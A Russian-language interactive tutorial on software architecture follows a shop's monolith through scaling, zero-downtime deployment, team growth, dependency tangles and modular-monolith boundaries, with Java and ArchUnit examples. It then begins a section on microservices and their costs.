Май. Первая большая распродажа. В обычный день к магазину приходит 200 запросов в секунду, а в обед распродажи — полторы тысячи. Одна копия shop.jar на одном сервере начинает отвечать по пять секунд, потом выдаёт ошибки. Что делает Борис? Сначала — самое простое.

Вертикальное масштабирование (scale up) — поставить машину мощнее: больше процессоров, больше памяти. В коде ничего менять не нужно.
Горизонтальное масштабирование (scale out) — запустить несколько одинаковых копий монолита на разных машинах и раздавать им запросы. Монолит при этом не делится на части: каждая копия умеет всё.
кафе не справляется с очередью. Вертикально — нанять одного суперповара, который работает вдвое быстрее (такого ещё поискать, и если он заболеет, кафе встанет). Горизонтально — поставить ещё две одинаковые кухни с обычными поварами по одному рецепту.
Балансировщик нагрузки (load balancer) — программа перед копиями, которая принимает все запросы и раздаёт их копиям по правилу: по кругу, наименее загруженной и т. п. Покупатель видит один адрес магазина.
Сессия (session) — то, что сервер помнит о покупателе между запросами: кто вошёл, что лежит в корзине. Если сессия хранится в памяти копии, другая копия о ней ничего не знает.
Липкая сессия (sticky session) — балансировщик всегда отправляет одного покупателя на одну и ту же копию, чтобы та «помнила» его корзину. Общее хранилище сессий (shared session store) — сессии лежат не в памяти копии, а в отдельном быстром хранилище (обычно Redis), куда ходят все копии. Такая копия называется приложением без состояния (stateless): её можно убить и заменить в любой момент.
липкая сессия — ходить только к «своему» парикмахеру, потому что лишь он помнит вашу стрижку. Заболел — и никто не знает, как вас стричь. Общее хранилище — карта клиента в общей базе салона: любой мастер открывает её и продолжает с того же места.
Узкое место (bottleneck) — самая слабая часть цепочки, которая первой упирается в предел и ограничивает всю систему. Усилить всё остальное бесполезно, пока не расширили её.
Пул соединений (connection pool) — запас заранее открытых соединений с базой внутри каждой копии. У каждой копии свой пул, а у базы — общий предел: в PostgreSQL по умолчанию не больше 100 соединений одновременно (настройка max_connections).

Живая модель: крутите нагрузку и чините узкие места

Слева покупатели, дальше балансировщик, копии монолита, хранилище сессий, кеш и база. Внутри каждого блока — полоска загрузки. Нажмите «▶ Пустить поток», чтобы увидеть бегущие запросы (зелёные — успешные, оранжевые — корзина потерялась, красные — ошибка). Задача: выдержать 2 000 запросов в секунду так, чтобы ошибок было меньше 1 %, а корзины не терялись.

быстрый выбор
200
1
20
где хранится корзина
добавить
Что заложено в модель. Одна копия монолита выдерживает до 450 запросов в секунду — дальше кончается процессор. Каждый запрос без кеша делает 2 запроса к базе; с кешем каталога — в среднем 0,8 (просмотры каталога берутся из кеша). База выдерживает 3 000 запросов в секунду. Предел соединений у базы — 100. Липкие сессии распределяют покупателей неровно: самая загруженная копия получает примерно на 30 % больше средней. Хранилище сессий добавляет к каждому запросу около 0,5 мс. Цифры условные, но соотношения — как в жизни.

Что масштабируется легко

Копии монолита — если он не хранит состояние в памяти. Тогда добавить копию — это просто запустить ещё один такой же shop.jar. Всё, что помнит покупателя, живёт снаружи: сессии в Redis, файлы в хранилище, данные в базе.

Что упирается первым

Общая база. Копий можно запустить сколько угодно, а база одна: её процессор, её диск, её предел соединений. Поэтому следующие шаги почти всегда про базу: кеш, реплики для чтения, пул соединений перед базой (например, PgBouncer), оптимизация запросов.

Чем платим за «масштабируется целиком»

Нагружен только каталог, а размножать приходится весь магазин: вместе с отчётами, админкой и их памятью. Обычно это дешевле, чем кажется: память стоит меньше, чем команда, обслуживающая десять сервисов. Но если одна часть требует в 100 раз больше ресурсов, её выделение становится разумным.

Как это звучит в требованиях

«Приложение не хранит пользовательское состояние в памяти экземпляра; потеря любого экземпляра не приводит к потере корзины. Система выдерживает 2 000 запросов/с при 95-м перцентиле времени ответа не более 300 мс и доле ошибок не более 0,1 %».

Проще говоря. Монолит прекрасно масштабируется вширь — копиями за балансировщиком. Условие одно: копия должна быть «одноразовой» и ничего не помнить сама. А узкое место почти всегда оказывается не в монолите, а в том, что у всех копий общее, — в базе.

глава 6 · июнь · проигрыватель выкладка: одна кнопка, простой и сине-зелёная схема

Июнь. Магазин живёт на двух копиях. Борис выкатывает новую версию по пятницам в 23:00, «чтобы никто не заметил»: останавливает всё, кладёт новый shop.jar, запускает. Минута-две ошибок. Однажды новая версия не стартовала из-за опечатки в настройках — и магазин лежал сорок минут, пока Борис искал старый файл. Владелец попросил: «Больше никаких ночных выкладок и никаких простоев».

Выкладка (deployment, развёртывание) — замена работающей версии программы на новую у живых пользователей. У монолита выкладывается всегда весь артефакт целиком.
Простой (downtime) — время, когда система не обслуживает покупателей. При выкладке «остановить → заменить → запустить» простой равен времени запуска новой версии: у большого Java-монолита это десятки секунд, иногда минуты.
Прогрев (warm-up) — первые минуты после запуска, когда программа работает медленнее обычного: кеши пусты, соединения с базой ещё открываются, компилятор ещё не оптимизировал горячий код.
Поэтапная замена (rolling update) — копии обновляются по одной: одну выводят из-под нагрузки, обновляют, проверяют и возвращают, потом следующую. Простоя нет, но какое-то время работают две версии сразу.
Сине-зелёная выкладка (blue-green deployment) — рядом с работающим «синим» окружением поднимают полное «зелёное» с новой версией, проверяют его и одним переключением балансировщика переводят туда весь поток. Синее остаётся живым — на случай отката.
кафе с двумя залами. Пока гости ужинают в синем зале, в зелёном накрывают столы по новому меню и повар пробует блюда. Готово — гостей пересаживают за минуту. Потёк потолок в новом зале — гостей так же за минуту возвращают в старый, он ещё накрыт.
Откат выкладки (rollback) — возврат к предыдущей версии, если новая сломана. В схеме «одна кнопка» это новая выкладка старого файла, в сине-зелёной — переключение балансировщика обратно.

Выберите способ и пройдите по шагам. Сверху — балансировщик, два окружения и база; под ними — полоса «куда идёт поток покупателей». Нагрузка — 300 запросов в секунду.

способ

что происходит
почему так

Три способа рядом

Одна кнопкаПо очередиСине-зелёная
Простойда, время запусканетнет
Две версии одновременнонетда, минутысекунды, в момент переключения
Откатновая выкладка старой версии, минутыещё один проход по копиямпереключить обратно, секунды
Нужно железа×1×1 и одна запасная копия×2 на время выкладки
Главная сложностьночные выкладки и страхсовместимость версийбаза данных общая для обоих цветов
Где сине-зелёная схема ломается у монолита. Окружений два, а база одна. Если новая версия переименовала колонку, старая после отката не сможет работать. Поэтому изменения схемы делают в два шага: сначала только добавляют новое (старая версия его не замечает), выкатывают код, и лишь потом, отдельной выкладкой, удаляют старое. Это правило «расширить → сузить» (expand / contract) подробно разобрано на вкладке про релизы.
Проще говоря. «Монолит выкатывается целиком» не значит «монолит выкатывается с простоем». Простой — это свойство способа выкладки, а не архитектуры. Две копии за балансировщиком и дисциплина со схемой базы — и монолит выкатывается днём, без ночных смен, с откатом за секунды.

глава 7 · лето команда растёт: почему в монолите всё быстро — и когда это кончается

Июль — август. Бизнес идёт в гору. К Борису пришли Вика и ещё двое, к осени в том же коде работают четыре команды: каталог, заказы, склад и маркетинг. Код почти не изменился — изменилось число людей, которые его правят. И вот тут у монолита появляется первая настоящая проблема.

Релизный поезд (release train) — все изменения всех команд уезжают в прод одним общим выпуском. Опоздал к поезду — ждёшь следующего. Сломал вагон — стоит весь поезд.
Конфликт слияния (merge conflict) — две команды поменяли один и тот же кусок кода по-разному, и система контроля версий не может сама решить, чья правка верна. Разбирают люди, вручную.
общая кухня в коммуналке. Пока в квартире живёт одна семья, готовить удобно. Когда семей четыре, начинаются очереди к плите, чужие кастрюли на вашей конфорке и споры, кто разбил тарелку.

День разработчика: одна задача — разный размер команды

Одна и та же задача: «добавить в заказ поле „комментарий"». Посмотрите, как она проходит при разном размере команды.

Релизный поезд: почему монолит замедляется от размера команды

Монолит выкатывается целиком. Значит, релиз — это общий поезд: если чья-то фича сломала тесты, поезд стоит у всех. Покрутите ручки и посмотрите, что происходит с потоком поставки.

3
8 %
18 мин
Успешных релизов подряд: — Заблокировано команд на сбое: — Время от коммита до прода: — Радиус поражения отката: —
Проще говоря. Шанс, что поезд уйдёт вовремя, — это произведение шансов всех вагонов. Десять команд, каждая с вероятностью 95 % не сломать сборку, — и зелёным уходит только 60 % релизов (0,9510 ≈ 0,6). Проблема не в коде, а в том, что риски команд перемножаются, потому что у них одна сборка на всех.
Закон Конвея (Мелвин Конвей, 1968): организации проектируют системы, повторяющие структуру своих коммуникаций. Пока команда одна — одна программа естественна. Когда команд четыре и каждая хочет выкатываться в своём ритме, код начинает «тянуть» в сторону четырёх частей. Вопрос лишь в том, будут это аккуратные модули или четыре лагеря в одной свалке.

глава 8 · осень · живая модель паутина связей: как растёт граф зависимостей

Сентябрь — ноябрь. Каждый месяц в магазине появляется что-то новое: отчёты для Олега, скидки, уведомления, бонусная программа, «с этим товаром покупают». Каждая доработка добавляет в код пару «быстрых» связей: «тут проще взять чужой репозиторий напрямую», «тут вызову их сервис, а они — мой». По отдельности каждая связь безобидна и проходит ревью. Посмотрим, во что они складываются за год.

Зависимость (dependency) — класс A использует класс B: вызывает его методы, получает его объекты. Если B поменяется, A может сломаться. На схеме — стрелка от A к B.
Граф зависимостей (dependency graph) — все классы и все стрелки между ними на одной картинке. По нему видно, кто на кого опирается и что заденет правка.
Связность (coupling) — насколько части системы зависят друг от друга. Мало стрелок между частями — связность низкая, и это хорошо: часть можно менять, не трогая остальные.
старая ёлочная гирлянда, где лампочки соединены последовательно: перегорела одна — погасла вся. Высокая связность. Новая гирлянда с параллельным подключением: одна лампочка не горит, остальные светят. Низкая связность.
Зацепление (cohesion) — насколько то, что лежит внутри одной части, относится к одному делу. Высокое зацепление: всё про заказы — в модуле заказов, и почти все стрелки его классов ведут к соседям по модулю. Низкое: в модуле свалено разное, и его классы больше общаются с чужими, чем со своими.
ящик с инструментами. Хороший: в ящике «сантехника» — только ключи, прокладки и лён, всё для одной работы. Плохой: в ящике лежат отвёртка, половник, зарядка и квитанция за свет — вроде всё нужное, но чтобы починить кран, придётся обойти все ящики в доме.
Осторожно с переводом. В русских книгах эти слова путают: «связность», «связанность», «сцепление», «зацепление» разные авторы ставят то к coupling, то к cohesion. В этом тренажёре: связность = coupling (связи между частями, хотим поменьше), зацепление = cohesion (единство внутри части, хотим побольше). Если сомневаетесь в разговоре — называйте английское слово.
Циклическая зависимость (dependency cycle) — A зависит от B, а B (прямо или через цепочку) — от A. Такие классы нельзя ни понять, ни поменять, ни вынести по отдельности: они слиплись в один ком.

Живая модель: двенадцать месяцев одного кода

Двигайте месяц или нажмите ▶. Цветные области — части бизнеса (заказы, каталог, склад…). Серые стрелки — связи внутри своей части, красные — связи в чужую часть, пунктир — новые в этом месяце. Классы в оранжевой пунктирной рамке попали в цикл. Нажмите на любой класс — подсветится всё, что может сломаться, если его поменять.

как писали
январь
связь внутри своей частисвязь в чужую частьпоявилась в этом месяцекласс в цикле
Как считаются метрики. Связность — доля стрелок, которые ведут в чужую часть. Зацепление — для каждой части: сколько её стрелок остаются внутри неё; показано среднее по частям. Лазейки — стрелки в чужую часть мимо её фасада: прямо в чужой репозиторий, сущность или вспомогательный класс. Радиус изменения — если поменять класс, сколько других классов зависят от него прямо или через цепочку; показан средний по всем классам. В режиме с границами внутренняя правка останавливается на фасаде: чужие части видят только его, а он не менялся. Это упрощённые версии настоящих метрик (у Роберта Мартина это входящие и исходящие зависимости и нестабильность пакета), но смысл тот же.
Проще говоря. Ни одна стрелка не была ошибкой в отдельности: каждую добавили ради срочной задачи, и каждая работала. Ком грязи не проектируют — он нарастает, по стрелке в неделю. А момент, когда «любое изменение задевает всё», наступает не в какой-то день, а плавно: радиус изменения растёт, пока однажды правка поля в заказе не роняет отчёт, о котором вы не знали.
Что меняют границы модулей (режим «если бы с первого дня»). Возможности бизнеса те же, классов столько же. Но в чужую часть можно ходить только через её фасад — один публичный класс, а о событиях вроде «заказ оформлен» части узнают через события внутри процесса, а не прямым вызовом. Стрелок в чужие части меньше, циклов нет, радиус изменения остаётся маленьким. Это и есть модульный монолит — следующая вкладка.

глава 9 · декабрь большой ком грязи: виды монолитов и признаки, что пора лечить

Декабрь. Олег приносит простую задачу: разрешить покупателю указать второй телефон для курьера. Борис оценивает её в неделю. Владелец не понимает: «Одно поле же!» Борис показывает: на таблицу клиентов смотрят четырнадцать мест в коде, и три из них он видит впервые. Год назад такая задача заняла бы полдня. Код не стал монолитом — он был им с января. Он стал комом грязи.

Большой ком грязи (big ball of mud) — система без различимой внутренней структуры, где всё связано со всем. Название дали Брайан Фут и Джозеф Йодер в одноимённой статье 1997 года: «беспорядочно устроенные, расползающиеся, неряшливые джунгли кода, скреплённого изолентой». Они же заметили главное: на практике это фактически стандартная архитектура программ — не потому, что её выбирают, а потому, что к ней скатываются.
гараж, в который двадцать лет «временно» ставили вещи. Каждую ставили разумно — туда, где было место. Никто не устраивал беспорядок нарочно. Но теперь, чтобы достать велосипед, нужно вынести половину гаража.

Виды монолитов: не все монолиты одинаковы

1 · Одномодульный (слоистый)

То, что у Бориса: одна сборка, код разложен по техническим слоям, границ между частями бизнеса нет. Прекрасен на старте, склонен скатываться в ком грязи по мере роста. Лечится заведением модулей.

2 · Модульный монолит

Одна сборка и один процесс, но внутри — модули по бизнес-возможностям с жёсткими границами: чужие классы видны только через фасад, нарушения ловит автоматическая проверка при сборке. Почти вся польза микросервисов без сети.

3 · Распределённый монолит

Худший вариант: система уже разрезана на сервисы, общается по сети, но сервисы нельзя выкатывать по отдельности, они делят базу или падают цепочкой. Сложность распределённой системы получена, независимость — нет.

Нажмите на строку таблицы — раскроется пояснение.

Диагноз: признаки, что монолит пора лечить

Важно: ни один из признаков не означает «надо на микросервисы». Все они означают «границ внутри нет». Границы можно завести и не разрезая процесс — об этом следующая глава и следующая вкладка. Нажимайте на признак, чтобы раскрыть разбор.

Проще говоря. Болеет не «монолитность», а отсутствие стен. Если вы разрежете ком грязи на сервисы, получите не микросервисы, а ком грязи с сетевыми задержками — тот самый распределённый монолит.

глава 10 · лечение как лечить монолит без переписывания

Январь следующего года. У Бориса два соблазна. Первый — «перепишем всё с нуля, на этот раз правильно». Второй — «распилим на микросервисы». Олег предлагает третий путь: навести порядок внутри, не останавливая магазин ни на день.

Рефакторинг (refactoring) — изменение внутреннего устройства кода без изменения его поведения снаружи. Покупатели ничего не замечают, а код становится проще менять.
ремонт в квартире, где продолжают жить. Не сносят дом, а переделывают по комнате: пока ремонтируют кухню, готовят в гостиной. Каждый вечер в квартире можно жить.
Почему не «переписать с нуля». Старый код содержит годы исправленных ошибок и учтённых особых случаев, которых нет ни в одной документации. Новая система годами догоняет старую, а бизнес всё это время ждёт. Джоэл Спольски в эссе 2000 года «Things You Should Never Do» назвал полное переписывание «худшей стратегической ошибкой, которую может сделать софтверная компания», на примере Netscape. Переписывают по частям, а не целиком.

Семь шагов лечения

Шаги идут в таком порядке не случайно: каждый опирается на предыдущий и сам по себе приносит пользу. Можно остановиться на любом. Нажимайте, чтобы раскрыть.

Монолит честно: что выигрываем и чем платим

Правило Фаулера, которое стоит запомнить дословно: «Почти во всех случаях успешные микросервисные системы начинались как монолит, который стал слишком большим и был разбит. Почти во всех случаях системы, построенные микросервисными с нуля, попадали в серьёзные неприятности». Причина проста: чтобы правильно нарезать границы, надо сначала узнать домен, а на старте его никто не знает. (Мартин Фаулер, «MonolithFirst», 2015.)

глава 11 · кто так живёт большие монолиты в реальном мире — и когда монолит правильный ответ

Борису кажется, что монолит — удел маленьких. Олег показывает ему несколько известных компаний, которые сознательно живут на монолите при огромной нагрузке или большом числе разработчиков. Факты взяты из инженерных блогов самих компаний; год указан, потому что с тех пор многое могло поменяться.

Stack Overflow

  • Одно приложение на ASP.NET, основные данные — в Microsoft SQL Server, кеш — Redis.
  • В 2016 году: 11 веб-серверов IIS, 4 сервера SQL Server; около 209 миллионов HTTP-запросов в сутки, из них около 66 миллионов — загрузки страниц.
  • Инженер Ник Крейвер писал, что вся сеть сайтов вопросов и ответов может работать на одном веб-сервере — они это нечаянно проверяли; но делать так он не советовал.
Nick Craver, «Stack Overflow: The Architecture — 2016 Edition»

Shopify

  • Ядро — монолит на Ruby on Rails, одна из крупнейших Rails-кодовых баз: к 2020 году больше 2,8 млн строк Ruby и 500 тысяч коммитов, над ним работали сотни разработчиков.
  • С 2017 года — проект «компонентизации»: около 6 000 классов переложили из слоёв (модели, контроллеры) в компоненты по бизнесу — заказы, доставка, склад, биллинг.
  • Цель — модульный монолит, а не микросервисы. Границы проверяет собственный инструмент Packwerk (открыт в 2020 году).
Kirsten Westeinde, «Deconstructing the Monolith», 2019; Philip Müller, «Under Deconstruction: The State of Shopify's Monolith», 2020

Basecamp (37signals)

  • Дэвид Хайнемайер Ханссон (создатель Ruby on Rails) в 2016 году написал эссе «The Majestic Monolith» — «величественный монолит».
  • Basecamp 3 работал в браузере, как мобильные приложения для iOS и Android, как настольные для Windows и Mac и через почту — и всё это делали 12 программистов.
  • Главный довод: маленькой команде не нужна распределённость; первое правило распределённых вычислений — «не распределяйте вычисления».
DHH, «The Majestic Monolith», Signal v. Noise, 29 февраля 2016

Amazon Prime Video — обратный переезд

  • В 2023 году команда сервиса проверки качества видеопотоков описала, как перенесла его из набора распределённых компонентов (AWS Step Functions и Lambda) в одно приложение.
  • Стоимость инфраструктуры этого сервиса упала более чем на 90 %, а масштабироваться он стал лучше.
  • Важно: это один сервис внутри большой системы, а не отказ Amazon от сервисов вообще. Урок в другом: границы процессов — не бесплатны, и их можно двигать в обе стороны.
Prime Video Tech, «Scaling up the Prime Video audio/video monitoring service and reducing costs by 90%», 2023
Проще говоря. У всех четырёх — одна мысль: размер и нагрузка сами по себе не повод дробить систему. Stack Overflow держит огромный трафик на горстке серверов, Shopify — сотни разработчиков в одной кодовой базе, но с границами внутри. Повод дробить — независимость команд и разные требования частей, а не мода.

Решение: когда монолит — правильный ответ

Отметьте пункты, верные для вашей ситуации. Чем больше отмечено — тем дороже вам обойдётся распределённость.

Отметьте то, что похоже на правду.

Как это звучит в требованиях: НФТ для монолита

Аналитику не нужно писать «сделайте монолит». Нужно записать свойства, которые делают монолит здоровым, — так, чтобы их можно было проверить.

НФТ-1. Выкладка новой версии выполняется без простоя: во время выкладки не менее 99,9 % запросов покупателей завершаются успешно. НФТ-2. Откат на предыдущую версию занимает не более 5 минут. НФТ-3. Экземпляр приложения не хранит состояние пользователя в памяти; отказ любого экземпляра не приводит к потере корзины. НФТ-4. Сборка и автотесты одного изменения — не дольше 15 минут. НФТ-5. Каждая таблица базы данных имеет одного модуля-владельца; другие модули обращаются к её данным только через API модуля. НФТ-6. Изменения схемы БД обратно совместимы с предыдущей версией приложения (порядок «расширить → сузить»).
Почему именно так. Каждое требование закрывает одну беду из истории Бориса: НФТ-1 и НФТ-2 — ночные выкладки из главы 6, НФТ-3 — потерянные корзины из главы 5, НФТ-4 — релизный поезд из главы 7, НФТ-5 — паутину из главы 8, НФТ-6 — откат при общей базе. Хорошее нефункциональное требование всегда можно проверить числом или автоматической проверкой.

глава 12 · проверь себя задания: когда монолит, а когда нет

Три блока. Первый — классические вопросы о выборе. Второй — по главам этого раздела. Третий — отличить болезнь монолита от болезни «без границ».

Блок 1. Выбор

Решено 0 из 0.

Блок 2. По главам

Решено 0 из 0.

Блок 3. Кто виноват: монолит или отсутствие границ?

Для каждой беды выберите настоящую причину. Решено 0 из 0.

Дальше → модульный монолит: границы без сети — почти вся польза микросервисов и почти ничего из их цены

Это всё ещё один кусок, но внутри у него настоящие стены. У каждого модуля свои таблицы. Наружу торчит только витрина. А если кто-то полез в чужое — сборка падает, и правку просто не примут. Лучший старт для команды, которой рано в микросервисы, и лучшая подготовка к ним, если время придёт.

зачем это зачем нужен модульный монолит

зачем он нужен что именно болит в обычном монолите

Прежде чем разбираться в устройстве — зачем вообще этот переход. Четыре боли, из-за которых наводят модули. Нажмите на любую: слева будет «как сейчас», справа «как станет».

анатомия из чего он состоит: нажмите на любую часть

Прежде чем разбираться, как он работает, посмотрим, из чего он сделан. Нажимайте на части схемы — под ней появится объяснение.

сборка
📦 Одно приложение — один shop.jarсобирается и выкатывается целиком
содержит
модули
Заказы
Платежи
Склад
каждый устроен так
внутри
🚪 api/фасад, DTO, события
🔒 internal/сущности, репозиторий, правила
общаются между собой
связи
↔ Вызов чужого фасада
📣 Событие
и хранят данные
база
🗄 Одна база, таблицы поделены между модулями
а это следит, чтобы правила не нарушали
проверка
⚙ Проверка границ при сборке

словарь модуля что за звери: фасад, DTO, событие, сущность

В схеме выше мелькали слова, которые сами по себе ничего не говорят. Разберём каждое: что это, зачем нужно, как выглядит в коде и какая с ним бывает ошибка.

с самого начала чем он отличается от обычного монолита

Коротко: всеми тремя признаками монолита он остаётся. Одна сборка, один запуск, одна база. Меняется только одно — что происходит внутри.

🏢 Обычный монолит = опенспейс

Все сидят в одном зале без перегородок. Можно повернуться и взять бумагу с любого чужого стола. Быстро и удобно — ровно до того момента, когда людей стало тридцать и никто не помнит, чья это бумага и можно ли её трогать.

🚪 Модульный монолит = офис с кабинетами

То же здание, тот же этаж, все рядом. Но у каждого отдела свой кабинет с дверью. Нужен документ — стучитесь и просите через сотрудника, а не роетесь в чужих ящиках. Занимает на минуту дольше, зато через год понятно, у кого что.

Главная мысль. Разница не в том, что код лежит в других папках. Разница в том, что появилось правило, и его нельзя нарушить незаметно. Папки можно перекладывать как угодно — если нет проверки, через полгода все ходят ко всем.

три слова фасад, граф и цикл — что это вообще такое

Дальше в этом разделе встретятся три слова, без которых ничего не понятно. Разберём их сразу, по одному.

правила четыре правила, которые делают монолит модульным

Всё остальное — детали. Если выполняются эти четыре, вынести модуль в отдельный сервис позже — это вопрос недели: заменить вызов метода на HTTP-клиент за тем же интерфейсом.

принцип по какому правилу вообще раскладывать код

Один и тот же код можно разложить по папкам двумя способами. Файлы те же самые — разная только группировка. Нажмите на задачу и посмотрите, какие файлы придётся открыть.

Правило, из которого всё следует. Вместе надо класть то, что меняется вместе. Задачи приходят не «поменяйте все контроллеры», а «поменяйте что-то в заказах». Значит, и группировать надо по заказам, а не по контроллерам.

алгоритм как разложить свою систему: шесть шагов

Работает и для нового проекта, и для наведения порядка в существующем. Делайте по порядку, шаги опираются друг на друга.

Самая частая ошибка на шаге 2. Взять за основу таблицы базы данных. Таблицы — это следствие, а не причина. Начинать надо с того, что система делает, а не с того, что она хранит: от действий к данным, а не наоборот.

структура по слоям или по фичам

Одни и те же классы можно разложить двумя способами. Слева — привычная нарезка по техническим слоям, справа — по бизнес-возможностям. Разница не косметическая: во втором случае у модуля есть граница, и её можно защитить.

Package by layer — границы нет

// «Заказы» размазаны по четырём пакетам.
// Чтобы вынести заказы, надо собрать их по всей базе кода.
com.shop
├── controller/
│     OrderController, PaymentController, CatalogController
├── service/
│     OrderService, PaymentService, CatalogService
├── repository/
│     OrderRepo, PaymentRepo, CatalogRepo
└── model/
      Order, Payment, Product   ← общие для всех

// Ничто не мешает написать:
class OrderService {
  private final PaymentRepo paymentRepo;  // чужой репозиторий
  void pay(Long id){
    paymentRepo.insertDirect(...);        // мимо чужой логики
  }
}

Package by feature — граница есть

// Модуль целиком в одном пакете. Наружу торчит
// только api/, всё остальное — internal/.
com.shop
├── order/
│     api/      OrderFacade, OrderDto, OrderPlaced
│     internal/ OrderService, OrderRepo, Order
├── payment/
│     api/      PaymentFacade, PaymentDto
│     internal/ PaymentService, PaymentRepo
└── catalog/
      api/      CatalogFacade, ProductDto
      internal/ ...

// Единственный законный способ:
class OrderService {
  private final PaymentFacade payments;   // контракт
  void pay(Long id){
    payments.charge(new ChargeCmd(id, sum)); // его правила
  }
}
Почему это работает как трамплин: в правой схеме PaymentFacade — это интерфейс. Когда придёт время вынести платежи в сервис, вы пишете вторую реализацию этого интерфейса поверх HTTP-клиента и подменяете бин. Вызывающий код не меняется вообще. В левой схеме такой точки подмены не существует, и выделение превращается в археологические раскопки.

попробуйте сами что такое «стена» на самом деле

Вы пишете код в модуле «Заказы». Вам нужны данные о клиенте. Нажмите на каждый способ и посмотрите, что скажет сборка.

Обратите внимание. Ни один из запретов не касается того, что вы делаете. Данные о клиенте получить можно — и нужно. Запрещён только способ: через чужие внутренности, в обход объявленного входа.

интерактив страж границ: какие зависимости пропустить в сборку

Ниже — реальные зависимости, которые люди пытаются добавить в код. Ваша задача — решить, пропустить или отклонить. Так же работает автоматическая проверка (ArchUnit, Spring Modulith, jQAssistant, deptrac): правило описано в тесте, и сборка падает на нарушении, ещё до ревью.

Разобрано 0 из 0.

А вот как это выглядит в виде теста

// ArchUnit: правило живёт в коде и падает в CI, а не в голове тимлида
@ArchTest
static final ArchRule modules_do_not_touch_internals =
    slices().matching("com.shop.(*)..")
            .should().notDependOnEachOther()
            .ignoreDependency(alwaysTrue(), resideIn("..api.."));

@ArchTest
static final ArchRule no_cross_module_repositories =
    noClasses().that().resideInAPackage("..order..")
        .should().dependOnClassesThat().resideInAPackage("..payment.internal..");

// Spring Modulith делает то же самое одной строкой:
@Test void verifiesModularStructure(){
    ApplicationModules.of(ShopApplication.class).verify();
}

попробуйте соберите цикл своими руками

Три модуля. Нажимайте на стрелки — добавляйте и убирайте зависимости. Смотрите, что говорит сборка.

диаграмма как модули разговаривают: посмотрите своими глазами

Клиент оплатил заказ. Модуль «Платежи» должен сообщить об этом модулю «Заказы». Три способа сделать это внутри одного процесса — выберите и прожмите шаги.

Обратите внимание на рамку транзакции на схеме. Всё, что внутри неё, база откатит целиком при любой ошибке. Всё, что снаружи, — уже нет. Именно расположение этой рамки и отличает три способа друг от друга, а вовсе не «синхронно или асинхронно».

механика как модули разговаривают внутри одного процесса

Три способа, от самого связного к самому развязанному. Выбор тот же, что между сервисами, — просто здесь он дешевле и обратим.

1. Синхронный вызов фасада

payments.charge(cmd). Просто, в одной транзакции, результат сразу. Но модули связаны: «Заказы» знают о существовании «Платежей» и падают вместе с ними.

Когда: нужен ответ прямо сейчас и в той же транзакции. Списание, резерв, проверка лимита.

2. Внутреннее доменное событие

events.publish(new OrderPlaced(id)). Издатель не знает подписчиков. Spring: @TransactionalEventListener(AFTER_COMMIT) — обработка после фиксации транзакции.

Когда: «случился факт, пусть заинтересованные реагируют». Уведомления, бонусы, аналитика.

3. Событие через очередь

То же событие, но уходит в брокер и обрабатывается отдельным потоком или процессом. Внутри монолита это уже репетиция распределённой системы.

Когда: обработка долгая, её не должно быть видно в ответе, и её надо уметь повторить при сбое.

Ловушка, на которой спотыкаются все: обычный @EventListener в Spring выполняется синхронно и в той же транзакции. Исключение у подписчика откатит транзакцию издателя — то есть «отправка письма не удалась» отменит заказ. Поэтому для реакций на свершившийся факт берут AFTER_COMMIT, а если реакция обязана выполниться — её кладут в ту же транзакцию через outbox.

эксперимент что будет через полгода

Два одинаковых проекта. В одном проверка границ включена, в другом решили «мы и так аккуратные». Прокрутите время.

баланс модульный монолит честно

задание границы модулей

Решено 0 из 0.

Дальше → микросервисы: что именно покупается и какой налог на это начисляется

Микросервис — это кусок системы, который можно выкатить отдельно, который отвечает за понятное бизнесу дело и владеет своими данными. Три условия. Уберите любое — получится не микросервис, а кусок монолита, растянутый по сети.

зачем это зачем нужны микросервисы

зачем они нужны что болит в модульном монолите — и что не болит

Модульный монолит закрыл границы, порядок и понятность. Осталось ровно четыре вещи, которые он закрыть не может. Только ради них и переходят на микросервисы. Нажмите на каждую.

И сразу про обратное. Ниже, последним пунктом, — три боли, которые микросервисы не лечат. Их регулярно пытаются лечить разрезанием, и это самый дорогой способ не решить проблему.

с самого начала что именно меняется

Мы разобрали монолит: одна сборка, один запуск, одна база. Микросервисы — это когда все три признака отключены сразу. У каждой части свой репозиторий, свой процесс и своя база.

Житейски. Был универсальный магазин под одной крышей. Стало десять отдельных лавок на улице. У каждой свой хозяин, свой ключ, свой склад и своё расписание. Аптека может переехать, не закрывая продуктовую. Но теперь, чтобы купить хлеб и лекарство, надо обойти две двери — и одна из них может оказаться закрыта.

Одна и та же строчка кода в трёх мирах

Смотрите, как одна операция — «взять заказ вместе с именем клиента» — меняется при переходе. Переключайте.

чем платим четыре вещи, которые были бесплатными и перестали

Это главное, что нужно понять про микросервисы. Не «они лучше» и не «они хуже» — а вот конкретно что вы теряете. Нажмите на каждую.

проверка три вопроса, отличающие микросервис от куска монолита по сети

Могу ли я выкатить его один?

Не «технически запустится», а без согласованного релиза с другими. Если выкатка требует одновременно обновить ещё два сервиса — это один сервис, разрезанный на три процесса.

Кто ещё пишет в его базу?

Правильный ответ — никто. Общая база означает, что схему нельзя менять в одиночку, а значит и выкатываться в одиночку тоже нельзя.

Что сломается, если он на час ляжет?

Если ответ «всё» — изоляции нет. Здоровая система при падении сервиса рекомендаций перестаёт показывать рекомендации, а не продавать.

интерактив калькулятор цепочки: цена каждого сетевого прыжка

Главный контринтуитивный факт распределённых систем: надёжности перемножаются, а задержки складываются. Один вызов пользователя проходит цепочку сервисов — покрутите ручки и посмотрите, во что превращается «каждый сервис надёжен на 99,9 %».

5
99,90 %
25 мс
400 мс
Доступность всей цепочки: — Простой в месяц: — Типичный ответ пользователю: — Шанс попасть в хвост хотя бы раз: —
Проще говоря. Один сервис с надёжностью 99,9 % — это хорошо. Пять таких подряд — уже 99,5 %, то есть в пять раз больше простоя. Надёжности не складываются, а перемножаются, и цепочка всегда хуже худшего звена в ней.
Что здесь важнее всего. «Шанс попасть в хвост» — самая недооценённая строка. Если каждый сервис тормозит на одном запросе из ста, то в цепочке из десяти сервисов тормозит каждый десятый запрос пользователя. Это называется усилением хвоста задержки, и именно из-за него «у нас все сервисы быстрые, а приложение тормозит».

антипаттерн распределённый монолит — худшее из двух миров

Система выглядит как микросервисы, а ведёт себя как монолит: сложность распределённости уже оплачена, независимость ещё не получена. Нажмите на признак, чтобы увидеть, чем он лечится.

Как проверить за пять минут: посмотрите историю релизов за последний месяц. Если сервисы регулярно выкатываются пачками в одно и то же время и в одном и том же порядке — у вас распределённый монолит, как бы он ни назывался в документации.

цена налог на микросервисы: что придётся построить до первого сервиса

Это не «желательно», а входной билет. Без этих вещей двадцать сервисов — это двадцать способов сломаться так, что никто не заметит.

размер насколько «микро» — это микро

